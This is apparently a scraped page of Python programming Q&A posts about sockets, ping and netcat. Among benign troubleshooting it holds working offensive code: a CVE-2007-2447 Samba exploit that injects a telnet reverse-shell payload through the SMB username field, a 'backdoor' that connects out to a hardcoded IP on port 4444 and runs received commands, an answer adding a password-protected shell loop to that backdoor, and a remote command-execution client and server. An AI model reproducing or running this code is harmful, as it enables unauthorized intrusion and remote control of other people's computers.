Hi I am trying to use ipaddress which is integer in this program. but I need to call this as string in response = os.system("ping -c 1 " + hostname + "-I" + str(mystring))
#!/usr/bin/python
import os
interface = os.system("ifconfig ge1 | grep UP")
ip = os.system("ifconfig ge1.1 | grep UP")
ipaddress = os.system("ifconfig ge1 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'")
print ipaddress
mystring = repr(ipaddress)
print mystring
if interface == 0:
print interface, ' interface is UP!'
hostname = "8.8.8.8"
response = os.system("ping -c 1 " + hostname + "-I" + str(mystring))
if response == 0:
print hostname, 'is up!'
else:
print hostname, 'is down!'
else:
print interface, ' interface is down!'
os.system("ifconfig ge1 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'") will not return to you IP address instead EXIT STATUS code, so you need to use a module that gets you the IP address of your interface(eth0, WLAN0..etc),
As suggested by the #stark link comment, use netifaces package or socket module, examples taken from this post :
import netifaces as ni
ni.ifaddresses('eth0')
ip = ni.ifaddresses('eth0')[2][0]['addr']
print ip
===========================================================================
import socket
import fcntl
import struct
def get_ip_address(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(
s.fileno(),
0x8915, # SIOCGIFADDR
struct.pack('256s', ifname[:15])
)[20:24])
get_ip_address('eth0')
EDIT-1:
It is recommended that you run your terminal commands through subprocess rather than os.system as I've read it's a lot more safer.
Now, if you wan to pass the result of ip_address into your ping command, here we go:
import subprocess
import socket
import fcntl
import struct
def get_ip_address(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(
s.fileno(),
0x8915, # SIOCGIFADDR
struct.pack('256s', ifname[:15])
)[20:24])
hostname = "8.8.8.8"
cmdping = "ping -c 1 " + hostname + " -I " + get_ip_address('eth0')
p = subprocess.Popen(cmdping, shell=True, stderr=subprocess.PIPE)
#The following while loop is meant to get you the output in real time, not to wait for the process to finish until then print the output.
while True:
out = p.stderr.read(1)
if out == '' and p.poll() != None:
break
if out != '':
sys.stdout.write(out)
sys.stdout.flush()
Related
Recently I've been creating a Python implementation of the Metasploit module for CVE2007-2447, I found a basic script online which I took some parts of then decided that I wanted to build the listener into the script so that I wouldn't have to run Netcat alongside the Python script.
import sys
import time
import socket
import threading
from smb.SMBConnection import SMBConnection
def exploit(rHost, rPort, lHost, lPort):
print("[+] " + rHost, rPort, lHost, lPort)
payload = 'sh -c(sleep 4535 | telnet ' + lHost + " " + lPort + ' | while : ; do sh && break; done 2>&1 | telnet ' + lHost + " " + lPort + ' >/dev/null 2>&1 &)'
username = "/=`nohup " + payload + "`"
password = ""
print("[+] " + username + password)
s = SMBConnection(username, password, "", "", use_ntlm_v2 = True)
#try:
s.connect(rHost, int(rPort), timeout=1)
print("[+] Payload sent!")
handler(shell)
#except Exception as e:
# print(e)
# print("[*] Fail!")
def handler(shell):
(conn, address) = shell.accept()
print("[+] Connected to " + address)
commandSender(conn)
conn.close()
def commandSender(conn):
shell_status = True
shell_recv_thread = threading.Thread(target=recvStream, args=(conn, shell_status))
shell_recv_thread.start()
command = ''
while shell_status == True:
command = input()
if command == "exit":
shell_status = False
conn.close()
shell_recv_thread.join()
sys.exit(0)
conn.send(bytes(command + "\n", "utf-8"))
def recvStream(conn, addr, status):
status = True
while status == True:
try:
print(conn.recv(1024))
except conn.timeout:
pass
except Exception as e:
print(e)
print("[*] Failed Shell Interaction...")
if __name__ == '__main__':
print("[*] CVE2007-2447")
if len(sys.argv) != 5:
print("[-] usage: <RHOST> <RPORT> <LHOST> <LPORT>")
else:
print("[+] Exectuting...")
shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell.bind((sys.argv[3], int(sys.argv[4])))
shell.listen(10)
rHost = sys.argv[1]
rPort = sys.argv[2]
lHost = sys.argv[3]
lPort = sys.argv[4]
exploit(rHost, rPort, lHost, lPort)
As you can see the script for this exploit is fairly simple, due to unsanitized user input an attacker can send commands to the affected device in the username field. I've checked Netstat while I run the script & I can see that my machine is definitely listening on the port I specify for lPort yet for some reason the socket seems to fail to accept the connection. In order to test the code I am running it inside a Ubuntu VM against Metasploitable 2 which is running in a separate VM on the same subnet.
This code is saying that host not found but there are some hosts in that ip range? error is at socket.gethostbyaddr(ip) but i don't know why because it is the command to find hostnames by ip address?
import subprocess
import socket
import os
with open(os.devnull, "wb") as limbo:
for n in xrange(10, 240):
ip="10.4.16.{0}".format(n)
result=subprocess.Popen(["ping", "-n", "1", "-w", "200", ip],
stdout=limbo, stderr=limbo).wait()
if result:
print (ip, "inactive")
else:
print (ip, "active", socket.gethostbyaddr(ip))
before everything, your IP address must have a ptr record in DNS that show it names.otherwise, you with this code you can check is
active or not
import subprocess
import socket
import os
import sys
def lookup(addr):
try:
return socket.gethostbyaddr(addr)
except socket.herror:
return None, None, None
with open(os.devnull, "wb") as limbo:
for n in xrange(10, 240):
ip="10.4.16.{0}".format(n)
if sys.platform=="linux" or sys.platform=="darwin":
result=os.system("ping -c 1 -t 1 " + ip+ " > /dev/null 2>&1")
else:
result=os.system("ping -w 1000 -n 1 " + ip)
if result==0:
print (ip, "active")
name,alias,addresslist = lookup(ip)
if name != None:
print ("name", name)
else:
print (ip, "inactive")
print "#################################"
So hello everybody, Im building a python backdoor. So when I start the netcat for listener and I start the backdoor it connects and everything but when I type ipconfig for example it says "The specified file directory cannot be found" or something like that. Here is the code:
#!/usr/bin/python
import socket
import subprocess
HOST = '192.168.1.7' # IP for remote connection
PORT = 4444 # Port for remote connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(b'\nYou are connected !\n\nConsole > ')
while 1:
data = s.recv(1024)
if data == 'quit' : break
proc = subprocess.Popen(str(data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send(b'\n' + stdoutput)
# Exiting
s.send(b'\nExiting...\n')
s.close()
Try this:
Hope its not too much. I added a few features as well.
You're godamm welcome :)
#!/usr/bin/python
# Import the required librarys for the job
import subprocess
import socket
import os
# Set variables used in the script
HOST = '10.0.0.98' # IP for remote connection
PORT = 4444 # Port for remote connection
PASS = 'Te$t!2#456' # For making the script secure
# Create the socket that will be used
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# This method will be used for handling the exit when you type -quit
def Quit():
s.send(' [<] Hope to see you soon :)\n')
s.close()
Connect()
# This method will wait until the connection is alive
def Connect():
s.connect((HOST, PORT))
s.send('''\n
+--------------------+
| You are connected! |
+--------------------+
| X IS Something err!! |
| < IS Incomming!! |
| > IS Outgoing!! |
+--------------------+
''')
Login()
# Ask for login; if they do not get it right it will ask again ect ect etc
def Login():
s.send(' [>] Please login #>> ')
pwd = s.recv(1024)
if pwd.strip() == PASS:
Shell()
else:
s.send(' [X] Incorrect Login!!\n')
Login()
# Main method -- Hope I'm not pissing you off by calling it a method, I'm used to C# lol ;)
def Shell():
s.send(' [<] We\'re in :)\n [>]-{ ' + os.curdir + ' } Console #>> ')
while 1:
data = s.recv(1024)
# Make sure that you use '-quit'!!
if data.upper()[:5] == '-QUIT' : break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = " [<] " + proc.stdout.read() + proc.stderr.read()
s.send('\n\n' + stdoutput + '\n\n')
s.send(' [>]-{ ' + os.curdir + ' } Console #>> ')
Quit()
Connect()
When I use this command on Linux, it works:
echo "test.bash.stats 44 1459116000" | nc myhostname.com 2003
But now, I try to implement this command in a Python script.
Method 1: Use os.system("")
# this works
os.system("echo 'test.bash.stats 14 1459116000' | nc myhostname.com 2003")
#It does not work because there are a problem with quote
data['time_timestamp'] = 1459116000
os.system("echo 'test.bash.stats 14 "data['time_timestamp']"' | nc myhostname.com 2003")
Method 2: Use socket
import socket
def netcat(hostname, port, content):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((hostname, port))
s.sendall(content)
s.shutdown(socket.SHUT_WR)
while 1:
data = s.recv(1024)
if data == "":
break
print "Received:", repr(data)
print "Connection closed."
s.close()
netcat("myhostname.com", 2003, "test.bash.stats 14 1459116000")
I don't get an error, but I don't receive data.
You should try concatenating the string like this
os.system("echo 'test.bash.stats 14 " + str(data['time_timestamp']) + " '| nc myhostname.com 2003")
or this
os.system("echo 'test.bash.stats 14 %d '| nc myhostname.com 2003" % data['time_timestamp'])
I keep getting this:
Traceback (most recent call last):
File "C:\Users\T_Mac\Desktop\Rex's Stuff\PyNet\Client.py", line 14, in <module
>
server.connect(ADDRESS)
File "C:\Python27\lib\socket.py", line 224, in meth
return getattr(self._sock,name)(*args)
File "C:\Python27\lib\socket.py", line 170, in _dummy
raise error(EBADF, 'Bad file descriptor')
socket.error: [Errno 9] Bad file descriptor
When I run 'changeclient' with this code as my server:
# Server
from socket import *
PORT = 5000
BUFSIZE = 1024
ADDRESS = ('', PORT) # '' = all addresses.
server = socket(AF_INET, SOCK_STREAM)
server.bind(ADDRESS)
server.listen(5)
# print stuff the user needs to know
print ''
print ' ____ _____ ___ _______ '
print ' / \ | | / \ /____\ | '
print '| | | | | | | | '
print ' \____/ \____/| | | \____/ | v0.1'
print ' | | '
print ' | | '
print ' | | '
print ' | _____/ '
print 'Contact Rex for any bug reports at rexploits#gmail.com'
print '\n'
print 'Please input the command when prompted with \'>\''
print 'The stdout stuff will be in this format: '
print ' (<stdout>, <stderr>)\n'
while True:
END_SCRIPT = 0 #Setting command to something other than '1'
print '\nWaiting for connections...'
client, address = server.accept()
print '...client connected from ', address[0], '\n'
while True:
command = raw_input('> ')
if command == 'quit':
server.close()
END_SCRIPT = 1
break
elif command == 'exit':
server.close()
END_SCRIPT = 1
break
elif command == 'changeclient':
print 'Changing clients.....\n'
client.send(command)
break
else:
client.send(command)
commandJazz = client.recv(BUFSIZE)
print commandJazz
if END_SCRIPT == 1:
print 'Closing server......'
print 'Goodbye!'
break
server.close()
And this as my Client:
# client
from subprocess import *
from socket import *
import time
test = 0
PORT = 5000
IP = 'localhost' #To change it to your ip, delete 'raw_input('> ')' and put your IP in its place.
BUFSIZE = 1024
ADDRESS = (IP, PORT)
server = socket(AF_INET, SOCK_STREAM)
while True:
server.connect(ADDRESS)
while True:
command = server.recv(BUFSIZE)
if command == 'changeclient':
server.close()
test = 1
break
else:
executeIt = Popen(command, shell = True, stdin = PIPE, stdout = PIPE, stderr = STDOUT)
commandJazz = executeIt.communicate()
strCommandJazz = str(commandJazz)
server.send(strCommandJazz)
I run my server, then run two instances of my client. It connects fine and everything works fine. I have built in a command called changeclient to disconnect the current client and connect to another. Whenever I execute changeclient, I get the previously posted error on my client.
When you close your socket, dont reuse it. Create a new one:
server = socket(AF_INET, SOCK_STREAM)
server.connect(ADDRESS)
Right now you are trying to reconnect on the same socket instance.
You could also try to use a flag that tells the socket to reuse the port when you reopen it instead of creating a new one.
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)